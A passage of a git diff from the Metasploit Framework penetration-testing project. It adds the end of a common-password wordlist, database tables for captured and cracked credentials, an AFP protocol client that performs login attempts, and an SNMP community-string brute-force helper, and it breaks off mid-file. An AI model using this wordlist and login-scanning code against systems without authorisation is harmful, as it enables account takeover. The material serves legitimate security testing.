+tslinux +tucker +tuff1234 +tunix +turkey +turnkey +turtle +tutor +tuxalize +tweety +tweetybird +tweetyl +twilight +twinkle +twins +tyler +tyrone +tyson +uClinux +uboot +ucsucs +umountfs +umountfsys +umountsys +undertaker +unicorn +unique +united +united123 +united99 +unix +uplink +urchin +user +user0000 +userNotU +usher +usulll +uucp +uucpadm +vagina +valentin +valentina +valentine +valentino +valeria +valerie +vampire +vanesa +vanessa +vanilla +vatefairefoutre +vatten +vegeta +venigo +ventilator +veronica +vertex25 +vfnmdfie +vgnadmin +vicky +victor +victoria +victory +video +vienna12 +vienna88 +viewmaster +viewuser1 +viking +vikings +vince123 +vincent +violet +violeta +viper +virgin +virginia +virginia11 +virgo +vishal123 +vision +vision2 +visor +visual +vitaly +vitesse +vivian +viviana +vivivi +vlis +voip123 +volcom +volition +volleyball +voodoo +voyager +vpasp +w00tw00t +w0rkplac3rul3s +w2402 +w8w00rd +wachtwoord +walker +wallace +walter +wampp +wanker +wanmei +warcraft +warpdrive +warren +warrior +warriors +water +waterfire12 +watermelon +wave123 +wayne +weasel +web +webadmin +webibm +weblink +weblogic +webmaster +weeslz +welcome +welcome1 +wendimia +wendy +wesley +west123 +westlife +westside +wg +whatever +white +whitebird +whitney +whore +whynot +wibbles +wicked +wildcat +wildcats +william +williams +willie +willow +wilson +windows +windows7 +winner +winnie +winston +winston1 +winter +winterm +wipro123 +wizard +wjltnt +wlcsystem +wlpisystem +wlsedb +wlsepassword +wodj +woelco +wolf +wolfgang +wolfpack +wolverin +wolves +wombat +women +woody +world +wrestling +wrgg15_di524 +write +wutang +www +wyse +x +x-admin +x40rocks +x6zynd56 +xampp +xavier +xbox +xbox360 +xboxe6 +xceladmin +xd +xdfk9874t3 +xdr56tfc +xerox +xiazhi +ximena +xinmen +xitgmLwmp +xljlbj +xmux +xo11nE +xpsm1210 +xunlei +xupamisto +xxxx +xxxxx +xxxxxx +xxxxxxxx +xxyyzz +xyuxyu +xyzall +xyzzy +yabadabadoo +yahoo +yakiniku +yamaha +yankee +yankees +yasmin +year2000 +yellow +yellow123 +yellow22 +yes90125 +yesenia +yolanda +yomama +young +yourmom +yourock +yousuck +yoyoyo +ytrewq +yugioh +yuiop +yvette +yvonne +yyl +z0x9c8v7 +zacefron +zachary +zaq1@WSX +zaq1xsw2 +zaq1xsw2cde3 +zaqwsxcde +zaxscdvf +zazazaza +zbaaaca +zebra +zeosx +zero0zero +zero2hero +zjaaadc +zmalqp10 +zodiac666 +zombie +zoomadsl +zse4rfv +zxcpoi123 +zxcvbn +zxcvbnm +zzzz +zzzzzz diff --git a/lib/zip/test/data/generated/empty.txt b/db/migrate/.git-keep similarity index 100% rename from lib/zip/test/data/generated/empty.txt rename to db/migrate/.git-keep diff --git a/db/schema.rb b/db/schema.rb index 42093e6764..ba0fad081a 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20130717150737) do +ActiveRecord::Schema.define(:version => 20140801150537) do create_table "api_keys", :force => true do |t| t.text "token" @@ -28,6 +28,16 @@ ActiveRecord::Schema.define(:version => 20130717150737) do t.datetime "updated_at" end + create_table "credential_cores_tasks", :id => false, :force => true do |t| + t.integer "core_id" + t.integer "task_id" + end + + create_table "credential_logins_tasks", :id => false, :force => true do |t| + t.integer "login_id" + t.integer "task_id" + end + create_table "creds", :force => true do |t| t.integer "service_id", :null => false t.datetime "created_at", :null => false @@ -167,6 +177,113 @@ ActiveRecord::Schema.define(:version => 20130717150737) do t.binary "prefs" end + create_table "metasploit_credential_cores", :force => true do |t| + t.integer "origin_id", :null => false + t.string "origin_type", :null => false + t.integer "private_id" + t.integer "public_id" + t.integer "realm_id" + t.integer "workspace_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.integer "logins_count", :default => 0 + end + + add_index "metasploit_credential_cores", ["origin_type", "origin_id"], :name => "index_metasploit_credential_cores_on_origin_type_and_origin_id" + add_index "metasploit_credential_cores", ["private_id"], :name => "index_metasploit_credential_cores_on_private_id" + add_index "metasploit_credential_cores", ["public_id"], :name => "index_metasploit_credential_cores_on_public_id" + add_index "metasploit_credential_cores", ["realm_id"], :name => "index_metasploit_credential_cores_on_realm_id" + add_index "metasploit_credential_cores", ["workspace_id", "private_id"], :name => "unique_private_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "public_id", "private_id"], :name => "unique_realmless_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "public_id"], :name => "unique_public_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "private_id"], :name => "unique_publicless_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id", "private_id"], :name => "unique_complete_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id"], :name => "unique_privateless_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id"], :name => "index_metasploit_credential_cores_on_workspace_id" + + create_table "metasploit_credential_logins", :force => true do |t| + t.integer "core_id", :null => false + t.integer "service_id", :null => false + t.string "access_level" + t.string "status", :null => false + t.datetime "last_attempted_at" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_logins", ["core_id", "service_id"], :name => "index_metasploit_credential_logins_on_core_id_and_service_id", :unique => true + add_index "metasploit_credential_logins", ["service_id", "core_id"], :name => "index_metasploit_credential_logins_on_service_id_and_core_id", :unique => true + + create_table "metasploit_credential_origin_cracked_passwords", :force => true do |t| + t.integer "metasploit_credential_core_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_cracked_passwords", ["metasploit_credential_core_id"], :name => "originating_credential_cores" + + create_table "metasploit_credential_origin_imports", :force => true do |t| + t.text "filename", :null => false + t.integer "task_id" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_imports", ["task_id"], :name => "index_metasploit_credential_origin_imports_on_task_id" + + create_table "metasploit_credential_origin_manuals", :force => true do |t| + t.integer "user_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_manuals", ["user_id"], :name => "index_metasploit_credential_origin_manuals_on_user_id" + + create_table "metasploit_credential_origin_services", :force => true do |t| + t.integer "service_id", :null => false + t.text "module_full_name", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_services", ["service_id", "module_full_name"], :name => "unique_metasploit_credential_origin_services", :unique => true + + create_table "metasploit_credential_origin_sessions", :force => true do |t| + t.text "post_reference_name", :null => false + t.integer "session_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_sessions", ["session_id", "post_reference_name"], :name => "unique_metasploit_credential_origin_sessions", :unique => true + + create_table "metasploit_credential_privates", :force => true do |t| + t.string "type", :null => false + t.text "data", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "jtr_format" + end + + add_index "metasploit_credential_privates", ["type", "data"], :name => "index_metasploit_credential_privates_on_type_and_data", :unique => true + + create_table "metasploit_credential_publics", :force => true do |t| + t.string "username", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_publics", ["username"], :name => "index_metasploit_credential_publics_on_username", :unique => true + + create_table "metasploit_credential_realms", :force => true do |t| + t.string "key", :null => false + t.string "value", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_realms", ["key", "value"], :name => "index_metasploit_credential_realms_on_key_and_value", :unique => true + create_table "mod_refs", :force => true do |t| t.string "module", :limit => 1024 t.string "mtype", :limit => 128 diff --git a/lib/fastlib.rb b/lib/fastlib.rb index efbff68c29..7af9bafa20 100755 --- a/lib/fastlib.rb +++ b/lib/fastlib.rb @@ -378,6 +378,10 @@ module Kernel #:nodoc:all # This method handles the loading of FASTLIB archives # def fastlib_require(name) + if name.respond_to? :to_path + name = name.to_path + end + name = name + ".rb" if not name =~ /\.rb$/ return false if fastlib_already_loaded?(name) return false if fastlib_already_tried?(name) diff --git a/lib/metasploit/framework.rb b/lib/metasploit/framework.rb index f30e4d4399..1555b00532 100644 --- a/lib/metasploit/framework.rb +++ b/lib/metasploit/framework.rb @@ -1,3 +1,29 @@ +# +# Gems +# +# gems must load explicitly any gem declared in gemspec +# @see https://github.com/bundler/bundler/issues/2018#issuecomment-6819359 +# + +require 'active_support' +require 'bcrypt' +require 'json' +require 'msgpack' +require 'metasploit/model' +require 'nokogiri' +require 'packetfu' +# railties has not autorequire defined +# rkelly-remix is a fork of rkelly, so it's autorequire is 'rkelly' and not 'rkelly-remix' +require 'rkelly' +require 'robots' +require 'zip' + +# +# Project +# + +require 'msf/core' + # Top-level namespace that is shared between {Metasploit::Framework # metasploit-framework} and pro, which uses Metasploit::Pro. module Metasploit @@ -5,30 +31,6 @@ module Metasploit # works in compatible manner with activerecord's rake tasks and other # railties. module Framework - # Returns the environment for {Metasploit::Framework}. Checks - # `METASPLOIT_FRAMEWORK_ENV` environment variable for value. Defaults to - # `'development'` if `METASPLOIT_FRAMEWORK_ENV` is not set in the - # environment variables. - # - # {env} is a ActiveSupport::StringInquirer like `Rails.env` so it can be - # queried for its value. - # - # @example check if environment is development - # if Metasploit::Framework.env.development? - # # runs only when in development - # end - # - # @return [ActiveSupport::StringInquirer] the environment name - def self.env - unless instance_variable_defined? :@env - name = ENV['METASPLOIT_FRAMEWORK_ENV'] - name ||= 'development' - @env = ActiveSupport::StringInquirer.new(name) - end - - @env - end - # Returns the root of the metasploit-framework project. Use in place of # `Rails.root`. # @@ -42,4 +44,4 @@ module Metasploit @root end end -end \ No newline at end of file +end diff --git a/lib/metasploit/framework/afp/client.rb b/lib/metasploit/framework/afp/client.rb new file mode 100644 index 0000000000..2bc578d7a7 --- /dev/null +++ b/lib/metasploit/framework/afp/client.rb @@ -0,0 +1,323 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'msf/core/exploit/tcp' + +module Metasploit + module Framework + module AFP + module Client + + def next_id + @request_id ||= -1 + @request_id += 1 + + @request_id + end + + def get_info + packet = "\00" # Flag: Request + packet << "\x03" # Command: FPGetSrvrInfo + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << "\x00\x00\x00\x00" # Length + packet << "\x00\x00\x00\x00" # Reserved + + sock.put(packet) + + response = sock.timed_read(1024) + return parse_info_response(response) + end + + def open_session + packet = "\00" # Flag: Request + packet << "\x04" # Command: DSIOpenSession + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << "\x00\x00\x00\x06" # Length + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x01" # Attention Quantum + packet << "\x04" # Length + packet << "\x00\x00\x04\x00" # 1024 + + sock.put(packet) + + response = sock.timed_read(1024) + return parse_open_session_response(response) + end + + def login(user, pass) + if user == '' + return no_user_authent_login + end + + p = OpenSSL::BN.new("BA2873DFB06057D43F2024744CEEE75B", 16) + g = OpenSSL::BN.new("7", 10) + ra = OpenSSL::BN.new('86F6D3C0B0D63E4B11F113A2F9F19E3BBBF803F28D30087A1450536BE979FD42', 16) + ma = g.mod_exp(ra, p) + + padded_user = (user.length + 1) % 2 != 0 ? user + "\x00" : user + bin_user = [padded_user.length, padded_user].pack("Ca*") + + length = 18 + bin_user.length + ma.to_s(2).length + + packet = "\00" # Flag: Request + packet << "\x02" # Command: DSICommand + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << [length].pack('N') # Length (42) + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x12" # AFPCommand: FPLogin (18) + packet << "\x06\x41\x46\x50\x33\x2e\x31" # AFPVersion: AFP3.1 + packet << "\x09\x44\x48\x43\x41\x53\x54\x31\x32\x38" #UAM: DHCAST128 + packet << bin_user # username + packet << ma.to_s(2) # random number + + sock.put(packet) + + begin + response = sock.timed_read(1024, self.login_timeout) + rescue Timeout::Error + #vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") + return :connection_error + end + + flags, command, request_id, error_code, length, reserved = parse_header(response) + + case error_code + when -5001 #kFPAuthContinue + return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma, + :password => pass, :user => user}) + when -5023 #kFPUserNotAuth (User dosen't exists) + #print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists") + return :skip_user + else + return :connection_error + end + + end + + def close_session + packet = "\00" # Flag: Request + packet << "\x01" # Command: DSICloseSession + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" #Data offset + packet << "\x00\x00\x00\x00" #Length + packet << "\x00\x00\x00\x00" #Reserved + + sock.put(packet) + end + + def no_user_authent_login + packet = "\00" # Flag: Request + packet << "\x02" # Command: DSICommand + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << "\x00\x00\x00\x18" # Length (24) + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x12" # AFPCommand: FPLogin (18) + packet << "\x06\x41\x46\x50\x33\x2e\x31" #AFP3.1 + packet << "\x0f\x4e\x6f\x20\x55\x73\x65\x72\x20\x41\x75\x74\x68\x65\x6e\x74" #UAM: No User Authent + + sock.put(packet) + + begin + response = sock.timed_read(1024, self.login_timeout) + rescue Timeout::Error + vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") + return :connection_error + end + + flags, command, request_id, error_code, length, reserved = parse_header(response) + + if error_code == 0 + return :true + else + return false + end + end + + def parse_login_response_add_send_login_count(response, data) + dhx_s2civ = 'CJalbert' + dhx_c2civ = 'LWallace' + + flags, command, request_id, error_code, length, reserved = parse_header(response) + body = get_body(response, length) + id, mb, enc_data = body.unpack("nH32a*") + + mb = OpenSSL::BN.new(mb, 16) + k = mb.mod_exp(data[:ra], data[:p] ) + + cipher = OpenSSL::Cipher.new('cast5-cbc').decrypt + cipher.key = k.to_s(2) + cipher.iv = dhx_s2civ + cipher.padding = 0 + + nonce = cipher.update(enc_data) + nonce << cipher.final + nonce = nonce[0..15] + nonce = OpenSSL::BN.new(nonce, 2) + 1 + + plain_text = nonce.to_s(2) + data[:password].ljust(64, "\x00") + cipher = OpenSSL::Cipher.new('cast5-cbc').encrypt + cipher.key = k.to_s(2) + cipher.iv = dhx_c2civ + auth_response = cipher.update(plain_text) + auth_response << cipher.final + + packet = "\00" # Flag: Request + packet << "\x02" # Command: DSICommand + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << [auth_response.length + 2].pack("N") # Length + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x13" # AFPCommand: FPLoginCont (19) + packet << "\x00" + packet << [id].pack('n') + packet << auth_response + + sock.put(packet) + + begin + response = sock.timed_read(1024, self.login_timeout) + rescue Timeout::Error + vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") + return :connection_error + end + + flags, command, request_id, error_code, length, reserved = parse_header(response) + if error_code == 0 + return true + else + return false + end + end + + def parse_open_session_response(response) + _, _, _, error_code, _, _ = parse_header(response) + return error_code == 0 ? true : false + end + + def parse_info_response(response) + parsed_data = {} + + flags, command, request_id, error_code, length, reserved = parse_header(response) + raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0 + body = get_body(response, length) + machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags = + body.unpack('nnnnn') + + server_name_length = body.unpack('@10C').first + parsed_data[:server_name] = body.unpack("@11A#{server_name_length}").first + + pos = 11 + server_name_length + pos += 1 if pos % 2 != 0 #padding + + server_signature_offset, network_addresses_offset, directory_names_offset, + utf8_servername_offset = body.unpack("@#{pos}nnnn") + + parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset) + parsed_data[:versions] = read_array(body, afp_versions_offset) + parsed_data[:uams] = read_array(body, uam_count_offset) + # skiped icon + parsed_data[:server_flags] = parse_flags(server_flags) + parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first + + network_addresses = read_array(body, network_addresses_offset, true) + parsed_data[:network_addresses] = parse_network_addresses(network_addresses) + # skiped directory names + #Error catching for offset issues on this field. Need better error ahndling all through here + begin + parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset) + rescue + parsed_data[:utf8_server_name] = "N/A" + end + + return parsed_data + end + + def parse_header(packet) + header = packet.unpack('CCnNNN') #ruby 1.8.7 don't support unpacking signed integers in big-endian order + header[3] = packet[4..7].reverse.unpack("l").first + return header + end + + def get_body(packet, body_length) + body = packet[16..body_length + 15] + raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length + return body + end + + def read_pascal_string(str, offset) + length = str.unpack("@#{offset}C").first + return str.unpack("@#{offset + 1}A#{length}").first + end + + def read_utf8_pascal_string(str, offset) + length = str.unpack("@#{offset}n").first + return str[offset + 2..offset + length + 1] + end + + def read_array(str, offset, afp_network_address=false) + size = str.unpack("@#{offset}C").first + pos = offset + 1 + + result = [] + size.times do + result << read_pascal_string(str, pos) + pos += str.unpack("@#{pos}C").first + pos += 1 unless afp_network_address + end + return result + end + + def parse_network_addresses(network_addresses) + parsed_addreses = [] + network_addresses.each do |address| + case address.unpack('C').first + when 0 #Reserved + next + when 1 # Four-byte IP address + parsed_addreses << IPAddr.ntop(address[1..4]).to_s + when 2 # Four-byte IP address followed by a two-byte port number + parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}" + when 3 # DDP address (depricated) + next + when 4 # DNS name (maximum of 254 bytes) + parsed_addreses << address[1..address.length - 1] + when 5 # This functionality is deprecated. + next + when 6 # IPv6 address (16 bytes) + parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]" + when 7 # IPv6 address (16 bytes) followed by a two-byte port number + parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}" + else # Something wrong? + raise "Error parsing network addresses" + end + end + return parsed_addreses + end + + def parse_flags(flags) + flags = flags.to_s(2) + result = {} + result['Super Client'] = flags[0,1] == '1' ? true : false + result['UUIDs'] = flags[5,1] == '1' ? true : false + result['UTF8 Server Name'] = flags[6,1] == '1' ? true : false + result['Open Directory'] = flags[7,1] == '1' ? true : false + result['Reconnect'] = flags[8,1] == '1' ? true : false + result['Server Notifications'] = flags[9,1] == '1' ? true : false + result['TCP/IP'] = flags[10,1] == '1' ? true : false + result['Server Signature'] = flags[11,1] == '1' ? true : false + result['Server Messages'] = flags[12,1] == '1' ? true : false + result['Password Saving Prohibited'] = flags[13,1] == '1' ? true : false + result['Password Changing'] = flags[14,1] == '1' ? true : false + result['Copy File'] = flags[5,1] == '1' ? true : false + return result + end + + end + end + + end +end + diff --git a/lib/metasploit/framework/api.rb b/lib/metasploit/framework/api.rb new file mode 100644 index 0000000000..b643aec8b2 --- /dev/null +++ b/lib/metasploit/framework/api.rb @@ -0,0 +1,7 @@ +module Metasploit + module Framework + module API + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/api/version.rb b/lib/metasploit/framework/api/version.rb new file mode 100644 index 0000000000..9b6fce0da0 --- /dev/null +++ b/lib/metasploit/framework/api/version.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + module API + # @note This is a like. The API version is not semantically version and it's version has actually never changed + # even though API changes have occured. DO NOT base compatibility on this version. + module Version + MAJOR = 1 + MINOR = 0 + PATCH = 0 + end + + VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}" + GEM_VERSION = Gem::Version.new(VERSION) + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/command.rb b/lib/metasploit/framework/command.rb new file mode 100644 index 0000000000..63c614f470 --- /dev/null +++ b/lib/metasploit/framework/command.rb @@ -0,0 +1,26 @@ +# +# Gems +# + +# have to be exact so minimum is loaded prior to parsing arguments which could +# influence loading. +require 'active_support/dependencies/autoload' + +# @note Must use the nested declaration of the +# {Metasploit::Framework::Command} namespace because commands need to be able +# to be required directly without any other part of metasploit-framework +# besides config/boot so that the commands can parse arguments, setup +# RAILS_ENV, and load config/application.rb correctly. +module Metasploit + module Framework + module Command + # Namespace for commands for metasploit-framework. There are + # corresponding classes in the {Metasploit::Framework::ParsedOptions} + # namespace, which handle for parsing the options for each command. + extend ActiveSupport::Autoload + + autoload :Base + autoload :Console + end + end +end diff --git a/lib/metasploit/framework/command/base.rb b/lib/metasploit/framework/command/base.rb new file mode 100644 index 0000000000..d7fa9e200d --- /dev/null +++ b/lib/metasploit/framework/command/base.rb @@ -0,0 +1,113 @@ +# +# Gems +# + +require 'active_support/core_ext/module/introspection' + +# +# Project +# + +require 'metasploit/framework/command' +require 'metasploit/framework/parsed_options' +require 'metasploit/framework/require' + +# Based on pattern used for lib/rails/commands in the railties gem. +class Metasploit::Framework::Command::Base + # + # Attributes + # + + # @!attribute [r] application + # The Rails application for metasploit-framework. + # + # @return [Metasploit::Framework::Application] + attr_reader :application + + # @!attribute [r] parsed_options + # The parsed options from the command line. + # + # @return (see parsed_options) + attr_reader :parsed_options + + # + # Class Methods + # + + # @note {require_environment!} should be called to load + # `config/application.rb` to so that the RAILS_ENV can be set from the + # command line options in `ARGV` prior to `Rails.env` being set. + # @note After returning, `Rails.application` will be defined and configured. + # + # Parses `ARGV` for command line arguments to configure the + # `Rails.application`. + # + # @return (see parsed_options) + def self.require_environment! + parsed_options = self.parsed_options + # RAILS_ENV must be set before requiring 'config/application.rb' + parsed_options.environment! + ARGV.replace(parsed_options.positional) + + # allow other Rails::Applications to use this command + if !defined?(Rails) || Rails.application.nil? + # @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/commands.rb#L39-L40 + require Pathname.new(__FILE__).parent.parent.parent.parent.parent.join('config', 'application') + end + + # have to configure before requiring environment because + # config/environment.rb calls initialize! and the initializers will use + # the configuration from the parsed options. + parsed_options.configure(Rails.application) + + # support disabling the database + unless parsed_options.options.database.disable + Metasploit::Framework::Require.optionally_active_record_railtie + end + + Rails.application.require_environment! + + parsed_options + end + + def self.parsed_options + parsed_options_class.new + end + + def self.parsed_options_class + @parsed_options_class ||= parsed_options_class_name.constantize + end + + def self.parsed_options_class_name + @parsed_options_class_name ||= "#{parent.parent}::ParsedOptions::#{name.demodulize}" + end + + def self.start + parsed_options = require_environment! + new(application: Rails.application, parsed_options: parsed_options).start + end + + # + # Instance Methods + # + + # @param attributes [Hash{Symbol => ActiveSupport::OrderedOptions,Rails::Application}] + # @option attributes [Rails::Application] :application + # @option attributes [ActiveSupport::OrderedOptions] :parsed_options + # @raise [KeyError] if :application is not given + # @raise [KeyError] if :parsed_options is not given + def initialize(attributes={}) + @application = attributes.fetch(:application) + @parsed_options = attributes.fetch(:parsed_options) + end + + # @abstract Use {#application} to start this command. + # + # Starts this command. + # + # @return [void] + # @raise [NotImplementedError] + def start + raise NotImplementedError + end +end diff --git a/lib/metasploit/framework/command/console.rb b/lib/metasploit/framework/command/console.rb new file mode 100644 index 0000000000..5f2052842c --- /dev/null +++ b/lib/metasploit/framework/command/console.rb @@ -0,0 +1,64 @@ +# +# Project +# + +require 'metasploit/framework/command' +require 'metasploit/framework/command/base' + +# Based on pattern used for lib/rails/commands in the railties gem. +class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::Base + def start + case parsed_options.options.subcommand + when :version + $stderr.puts "Framework Version: #{Metasploit::Framework::VERSION}" + else + driver.run + end + end + + private + + # The console UI driver. + # + # @return [Msf::Ui::Console::Driver] + def driver + unless @driver + # require here so minimum loading is done before {start} is called. + require 'msf/ui' + + @driver = Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + Msf::Ui::Console::Driver::DefaultPromptChar, + driver_options + ) + end + + @driver + end + + def driver_options + unless @driver_options + options = parsed_options.options + + driver_options = {} + driver_options['Config'] = options.framework.config + driver_options['ConfirmExit'] = options.console.confirm_exit + driver_options['DatabaseEnv'] = options.environment + driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths + driver_options['DatabaseYAML'] = options.database.config + driver_options['Defanged'] = options.console.defanged + driver_options['DisableBanner'] = options.console.quiet + driver_options['DisableDatabase'] = options.database.disable + driver_options['LocalOutput'] = options.console.local_output + driver_options['ModulePath'] = options.modules.path + driver_options['Plugins'] = options.console.plugins + driver_options['RealReadline'] = options.console.real_readline + driver_options['Resource'] = options.console.resources + driver_options['XCommands'] = options.console.commands + + @driver_options = driver_options + end + + @driver_options + end +end diff --git a/lib/metasploit/framework/common_engine.rb b/lib/metasploit/framework/common_engine.rb new file mode 100644 index 0000000000..3a0903e4f5 --- /dev/null +++ b/lib/metasploit/framework/common_engine.rb @@ -0,0 +1,74 @@ +# +# Standard Library +# + +require 'fileutils' + +# `Rails::Engine` behavior common to both {Metasploit::Framework::Application} and {Metasploit::Framework::Engine}. +module Metasploit::Framework::CommonEngine + extend ActiveSupport::Concern + + included do + # + # config + # + + # Force binary encoding to remove necessity to set external and internal encoding when construct Strings from + # from files. Socket#read always returns a String in ASCII-8bit encoding + # + # @see http://rubydoc.info/stdlib/core/IO:read + config.before_initialize do + encoding = 'binary' + Encoding.default_external = encoding + Encoding.default_internal = encoding + end + + config.root = Msf::Config::install_root + config.paths.add 'data/meterpreter', glob: '**/ext_*' + config.paths.add 'modules' + + # + # `initializer`s + # + + initializer 'metasploit_framework.merge_meterpreter_extensions' do + Rails.application.railties.engines.each do |engine| + merge_meterpreter_extensions(engine) + end + + # The Rails.application itself could have paths['data/meterpreter'], but will not be part of + # Rails.application.railties.engines because only direct subclasses of `Rails::Engine` are returned. + merge_meterpreter_extensions(Rails.application) + end + end + + # + # Instance Methods + # + + private + + # Merges the meterpreter extensions from `engine`'s `paths['data/meterpreter]`. + # + # @param engine [Rails::Engine] a Rails engine or application that has meterpreter extensions + # @return [void] + # @todo Make metasploit-framework look for meterpreter extension in paths['data/meterpreter'] from the engine instead of copying them. + def merge_meterpreter_extensions(engine) + data_meterpreter_paths = engine.paths['data/meterpreter'] + + # may be `nil` since 'data/meterpreter' is not part of the core Rails::Engine paths set. + if data_meterpreter_paths + source_paths = data_meterpreter_paths.existent + destination_directory = root.join('data', 'meterpreter').to_path + + source_paths.each do |source_path| + basename = File.basename(source_path) + destination_path = File.join(destination_directory, basename) + + unless destination_path == source_path + FileUtils.copy(source_path, destination_directory) + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/community_string_collection.rb b/lib/metasploit/framework/community_string_collection.rb new file mode 100644 index 0000000000..fdeddb4a96 --- /dev/null +++ b/lib/metasploit/framework/community_string_collection.rb @@ -0,0 +1,74 @@ +require 'metasploit/framework/credential' + +module Metasploit + module Framework + + # This class is responsible for taking datastore options from the snmp_login module + # and yielding appropriate {Metasploit::Framework::Credential}s to the {Metasploit::Framework::LoginScanner::SNMP}. + # This one has to be different from {credentialCollection} as it will only have a {Metasploit::Framework::Credential#public} + # It may be slightly confusing that the attribues are called password and pass_file, because this is what the legacy + # module used. However, community Strings are now considered more to be public credentials than private ones. + class CommunityStringCollection + # @!attribute pass_file + # Path to a file containing passwords, one per line + # @return [String] + attr_accessor :pass_file + + # @!attribute password + # @return [String] + attr_accessor :password + + # @!attribute prepended_creds + # List of credentials to be tried before any others + # + # @see #prepend_cred + # @return [Array] + attr_accessor :prepended_creds + + # @option opts [String] :pass_file See {#pass_file} + # @option opts [String] :password See {#password} + # @option opts [Array] :prepended_creds ([]) See {#prepended_creds} + def initialize(opts = {}) + opts.each do |attribute, value| + public_send("#{attribute}=", value) + end + self.prepended_creds ||= [] + end + + # Combines all the provided credential sources into a stream of {Credential} + # objects, yielding them one at a time + # + # @yieldparam credential [Metasploit::Framework::Credential] + # @return [void] + def each + begin + if pass_file.present? + pass_fd = File.open(pass_file, 'r:binary') + pass_fd.each_line do |line| + line.chomp! + yield Metasploit::Framework::Credential.new(public: line, paired: false) + end + end + + if password.present? + yield Metasploit::Framework::Credential.new(public: password, paired: false) + end + + ensure + pass_fd.close if pass_fd && !pass_fd.closed? + end + end + + # Add {Credential credentials} that will be yielded by {#each} + # + # @see prepended_creds + # @param cred [Credential] + # @return [self] + def prepend_cred(cred) + prepended_creds.unshift cred + self + end + + end + end +end diff --git a/lib/metasploit/framework/core.rb b/lib/metasploit/framework/core.rb new file mode 100644 index 0000000000..cc94d23f88 --- /dev/null +++ b/lib/metasploit/framework/core.rb @@ -0,0 +1,7 @@ +module Metasploit + module Framework + module Core + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/core/version.rb b/lib/metasploit/framework/core/version.rb new file mode 100644 index 0000000000..c02069540b --- /dev/null +++ b/lib/metasploit/framework/core/version.rb @@ -0,0 +1,19 @@ +require 'metasploit/framework/version' + +module Metasploit + module Framework + # @note This is a lie. The core libraries are not semantically versioned. This is currently just linked to the + # Metasploit::Framework::Version, which is also not semantically versioned. + module Core + module Version + MAJOR = Metasploit::Framework::Version::MAJOR + MINOR = Metasploit::Framework::Version::MINOR + PATCH = Metasploit::Framework::Version::PATCH + PRERELEASE = Metasploit::Framework::Version::PRERELEASE + end + + VERSION = Metasploit::Framework::VERSION + GEM_VERSION = Gem::Version.new(Metasploit::Framework::GEM_VERSION) + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/credential.rb b/lib/metasploit/framework/credential.rb new file mode 100644 index 0000000000..94ed23b2ad --- /dev/null +++ b/lib/metasploit/framework/credential.rb @@ -0,0 +1,105 @@ +require 